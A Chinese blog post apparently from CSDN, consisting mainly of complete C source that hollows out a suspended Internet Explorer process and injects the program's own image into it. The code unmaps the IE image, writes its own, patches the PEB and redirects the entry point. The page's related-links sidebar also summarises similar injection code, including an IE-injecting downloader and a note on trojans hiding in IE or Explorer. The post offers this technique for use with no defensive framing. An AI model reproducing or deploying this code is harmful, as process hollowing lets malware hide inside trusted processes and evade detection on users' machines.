把自身插入到IE进程里的代码

IE中关于使用innerHTML加入HTML代码的问题 innerHTML属性在原生javascript中被用于在一个标签内部加入HTML代码,但在IE下面就不适用了,下面有个示例代码,大家可以参考下 立即下载

#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
      HANDLE ProcessHandle,
      PVOID BaseAddress
      );

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess
       );


int main(void)
{
if (InjectProcess() )
{
   printf("This is my a test code,made by shadow3.\r\n");
}
else
{
   MessageBox(NULL,"进程插入完成","Text",MB_OK);
}

return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0';
   lstrcat(szSystemDir,"\\ProgramFiles\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}


BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
   return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
   return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) )
{
   printf("CHILD PID: [%d]\r\n",pi.dwProcessId);
 
 
   if ( ZwUnmapViewOfSection(
    pi.hProcess,
    (LPVOID)stChildProcess.dwBaseAddress
    ) == 0 )
   {
    lpVirtual = VirtualAllocEx(
     pi.hProcess,
     (LPVOID)hModule,
     dwImageSize,
     MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
     );
  
    if ( lpVirtual )
    {
     printf("Unmapped and Allocated Mem Success.\r\n");
    }
  
   }
   else
   {
    printf("ZwUnmapViewOfSection() failed.\r\n");
    return TRUE;
   }
 
   if ( lpVirtual )
   {
    PPEB = (DWORD *)ThreadCxt.Ebx;
  
    // 重写装载地址
  
    WriteProcessMemory(
     pi.hProcess,
     &PPEB[2],
     &lpVirtual,
     sizeof(DWORD),
     &dwWrite
     );
  
  
    if ( WriteProcessMemory(
     pi.hProcess,
     lpVirtual,
     hModule,
     dwImageSize,
     &dwWrite) )
    {
     printf("image inject into process success.\r\n");
   
     ThreadCxt.ContextFlags = CONTEXT_FULL;
     if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
     {
      ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }
     else
     {
      ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }
    #ifdef DEBUG
     printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax);
     printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx);
     printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx);
     printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx);
     printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip);
#endif
   
     SetThreadContext(pi.hThread, &ThreadCxt);
     ResumeThread(pi.hThread);
   
    }
    else
    {
     printf("WirteMemory Failed,code:%d\r\n",GetLastError());
     TerminateProcess(pi.hProcess, 0);
    }
  
   }
   else
   {
    printf("VirtualMemory Failed,code:%d\r\n",GetLastError());
    TerminateProcess(pi.hProcess, 0);
   }
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
   mov ecx,0x30
    mov eax, fs:[ecx]
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x0c]
    add esi,0x20
    lodsd
    mov dwImageSize,eax
  
}

return dwImageSize;
}

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess
       )
     
{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(
   NULL,
   szIePath,
   NULL,
   NULL,
   0,
   CREATE_SUSPENDED,
   NULL,
   NULL,
   &si,
   pi
   ) )
{
   pThreadCxt->ContextFlags = CONTEXT_FULL;
   GetThreadContext(pi->hThread, pThreadCxt);
 
   PPEB = (DWORD *)pThreadCxt->Ebx;
 
   // 得到ie的装载基地址
   ReadProcessMemory(
    pi->hProcess,
    &PPEB[2],
    (LPVOID)&(pChildProcess->dwBaseAddress),
    sizeof(DWORD),
    &read
    );
 
   return TRUE ;
 
}

return FALSE;
}


WSL 运行make提示/lib/modules/xxx/build: No such file or directory. Stop.错误解决办法 WSL运行make提示/lib//modules/xxx文件或目录不存在。 WSL2的内核是修改过的,无法使用 ubuntu上游的内核头文件和modules文件,因此,我们需要手动编译并安装一个版本。 阅读详情

相关推荐

企业数字化转型的 4A 架构指南:从概念解读到 TOGAF 阶段对应

4A企业架构是中国数字化转型实践中总结的简化框架,包含业务、应用、数据和技术四个架构层。它自上而下形成业务驱动应用的指导关系,自下而上构建技术支撑数据的实现路径,与国际标准TOGAF核心内容高度对应。该模型通过统一语言、战略对齐和系统梳理,有效连接业务需求与IT实施,已成为企业架构规划的实用工具。其分层结构清晰展示了从业务目标到技术落地的完整推导链,特别适合中国企业的数字化转型场景。

友莘居士的博客 2175

使用 ZwUnmapViewOfSection 卸载并替换内存镜像

The ZwUnmapViewOfSection routine unmaps a view of a section from the virtual address space of a subject process. NTSTATUS ZwUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); 这个函数在 wdm.h 里声明,它的功能是卸载进程的内存镜像(Image Buff...

weixin_41875267的博客 2347

硅纪元应用测评 | AI搜索引擎大比拼:360AI搜索、秘塔搜索、GenSpark AI和天工AI对比评测

搜索引擎输出的每个段落都有对应的出处,如果有错误,也是信息源的问题,从普通用户的角度来看,这与AI搜索的产品关系不大,能让用户对AI搜索的服务和得到的信息有一个隔离。同时,提供更多的定制选项,允许用户根据自己的偏好调整搜索结果的权重和排序,将使得搜索体验更加个性化和满足用户的具体需求。此外,大部分搜索工具还提供了一个无广告的搜索环境(360AI搜索部分内容会有广告),极大地提升了用户的搜索体验。AI搜索的本质依然是搜索,但它通过AI的逻辑分析和语言重新组织,使用户能够快速得到想要的信息。

guijiyuantech的博客 2013

常见的文件头文件尾

JPEG (jpg),   文件头:FFD8FF                     文件尾:FF D9               PNG (png),   文件头:89504E47                     文件尾:AE 42 60 82GIF (gif), ...

weixin_30871293的博客 563

PPO实战:如何用强化学习让小车爬上MountainCarContinuous-v0山顶(附完整代码)

本文提供了使用PPO算法解决MountainCarContinuous-v0环境的完整实战教程。针对该环境的连续动作空间和稀疏奖励挑战,文章详细解析了PPO智能体的网络架构、状态归一化、GAE优势估计等核心实现,并附带了可直接运行的PyTorch代码。同时分享了关键的调参技巧和实战避坑指南,帮助读者高效训练智能体完成小车爬坡任务。

linux的博客 968

TensorFlow GPU版本安装步骤-Windows系统

本文由在Windows下安装TensorFlow GPU版本教程-优快云等整理得到。 目录 1、确认显卡是否支持CUDA 1.1 查看显卡信息 打开“设备管理器”,查看显卡信息,如下图所示: 由上图知,本电脑的显卡为NVIDIA Quadro P400. 1.2 查看支持CUDA的显卡 网址:https://developer.nvidia.com/cuda-gpus 经查询可知,该显卡支持CUDA,如下图所示: 2、安装CUDA 2.1 下载CUDA 网址:https://developer.nvi

x_lingyun的专栏 766

插入自己到IE进程

把自己插入到IE进程中,用TCB启动自己,随便写的垃圾代码,参考了老V的代码,高手莫笑 #include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAd

1270

Python爬虫教程:如何爬取多平台电商商品信息(价格、评价、库存)

本文介绍了如何编写一个跨平台电商商品爬虫,爬取多个平台的商品信息,包括商品名称、价格、评价等数据。通过Python的爬虫库(如requestsSelenium)和数据处理库(如pandasmatplotlib)的结合,我们可以高效地获取和分析电商平台上的商品信息。

2201_76125261的博客 917

把自己插入到IE进程中

把自己插入到IE进程中,用TCB启动自己,随便写的垃圾代码,参考了老V的代码,高手莫笑 #include #include #pragma comment(lib,"ntdll.lib") typedef long NTSTATUS; NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAd

天蓝的专栏 995

思博伦仪表打流测试使用总结

下图红框中的checkbox为选中状态时,表示该流会携带测试仪做一些分析,包括时延和乱序等信息时需要的一些字节,当改选项选中时,如配置IPv4的TCP流,最小字节长度必须为78字节;如果需要64字节的TCP流,改选项必须不选中;

陌上花开缓缓归以的博客 1465

【目标追踪】python背景模型减除法原理及其实现

python基于背景模型差法的视频目标追踪帧差法的问题:背景模型差法目标追踪原理1. 基本思路:2. 图例讲解:3. 存在的问题&如何解决:4. 最终效果预览第一步——调用摄像头:1. 使用opencv打开视频or摄像头:2. 读取逐帧图片:第二步——处理图片:1. 转换成灰度图:3. 累加权重重构背景:3. 计算像素差:3. 使用中值滤波和膨胀腐蚀去噪:3.1 中值滤波:3.2 图像腐蚀...

梁瑛平的博客 1948

在LaTex中插入代码块

用LaTex写文章或者做笔记时,往往需要在正文中插入代码. 为了使得代码工整、排版整齐,我们会想知道如何在LaTex文档中插入代码块?下面就来总结一下LaTex插入代码的方法. LaTex已经为我们准备了用来插入代码的包:listings包和xcolor包 1.listings包 这个包是用来插入代码的,如果不需要高亮显示,这个包已经完成了最基本的插入代码任务了. 例如需要插入R代码,用法如下: ...

Sarah的博客 5万+

YOLOv11【第六章:模型压缩与极致优化篇·第15节】YOLOv11 专用剪枝工具库使用指南!

🏆 本文收录于专栏 《YOLOv11实战:从入门到深度优化》。本专栏围绕 YOLOv11 的改进、训练、部署与工程优化 展开,系统梳理并复现当前主流的 YOLOv11 实战案例与优化方案,内容目前已覆盖 分类、检测、分割、追踪、关键点、OBB 检测 等多个方向。

**My Coding Family** 1312

如何在ie里的iframe中插入一段html代码(非url)

有个功能,在iframe里显示一段东西(content),如果content为空,就插入该content的源网址url;如果不为空,则插入content这段html代码。 最早的版本,网上找的 var iframe = document.getElementById('iframe-content'); var iframedoc = iframe.contentDocument || iframe.contentWindow.document; iframedoc.children[0].inne

sinat_38020023的博客 809

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

在光标处插入字符串的实现代码兼容IE,Firefox

复制代码 代码如下: // 在光标处插入字符串 // myField 文本框对象 // 要插入的值 function insertAtCursor(myField, myValue) { //IE support if (document.selection) { myField.focus(); sel = document.selection.crea

xul2009的专栏 641

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

插入IE进程的下载者源代码

/*"mini_downloader"code bykardinal p.s.tcompile by vc++ 6.0can not run under win98;*/#include #pragma comment(lib,"user32.lib")#pragma comment(lib,"kernel32.lib")//#pragma comment(linker, "/OPT:NOWIN9

狗 1323

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

直接将自身代码注入傀儡进程

<br />EXE注入-傀儡进程2008-08-16 16:38<br />      直接将自身代码注入傀儡进程,不需要DLL。首先用CreateProcess来创建一个挂起的IE进程,创建时候就把它挂起。然后得到它的装载基址,使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据,。再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存

sevenpic的专栏 7757

[Delphi] IE异步可插入协议扩展

IE异步可插入协议扩展   介绍 对于每天都要使用的IE浏览器的人来说,输入www.google.com 等网址进行网上冲浪就象呼吸一样自然。大多数情况时,我们可能根本想不起来要在网址前面加上http:// 来声明要访问的是一个基于http协议的Web网站。所谓网络协议,其

delphi99的专栏 1013

在网页中插入flash的时候能在IE中显示但是不能在火狐里显示的问题

<br />最近做项目遇到个浏览器兼容问题,在IE下我的flash明明能显示但是在火狐下就不能显示了,琢磨了好久终于是找到了问题所在,虽然我这并不是最好的解决办法,但是至少也是一个可以帮我解决问题的方法。<br />之前子网页中插入flash的代码如下:<br /><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/

huanghan1988的专栏 4292

让IE和Firefox都兼容的插入Flash元素代码

原文地址:让IE和Firefox都兼容的插入Flash元素代码作者:三叶虫 让IE和Firefox都兼容的插入Flash元素代码   火狐对一些代码的支持程度让开发者有时候很是头疼,最近我就遇到了一个问题/ 明明在IE下显示正常 ,布局也合理的flash Banner条在火狐浏览器下就不正常了.,硬是多了5个PX. 把我图片撑开无法顺利连接. 找了半天都不知道什么原因,. 最后不知道在

MrWang 3962

进程注入代码

向一个运行中的进程注入自己的代码,最自然莫过于使用 CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向 Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。 用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为

1073

Latex 中插入 Matlab 代码

而要实现这些需要在main.tex的目录下加一个mcode.sty文件。这篇文章将介绍如何在 Latex 排版过程中添加 Matlab 代码。具体内容如下:(可以新建文件然后复制过去直接使用)记得改文件名为。而实现这些只需要一行代码加一个包!也可以去下载:传送门。仅供学习之用,侵删。

zik的博客 9260

IE异步可插入协议扩展

介绍 对于每天都要使用的IE浏览器的人来说,输入www.google.com 等网址进行网上冲浪就象呼吸一样自然。大多数情况时,我们可能根本想不起来要在网址前面加上http:// 来声明要访问的是一个基于http协议的Web网站。所谓网络协议,其实无非就是一组描述如何获取不同资源并进行通讯的行为规则。IE浏览器除了内置了对http协议外,还持ftp和gopher等协议。 从IE4开始...

189
上一篇: Windows批量添加防火墙例外端口的批处理代码
下一篇: 端口复用的WXHSHELL源代码
ccx_john
博客等级 码龄18年 189粉丝 16原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值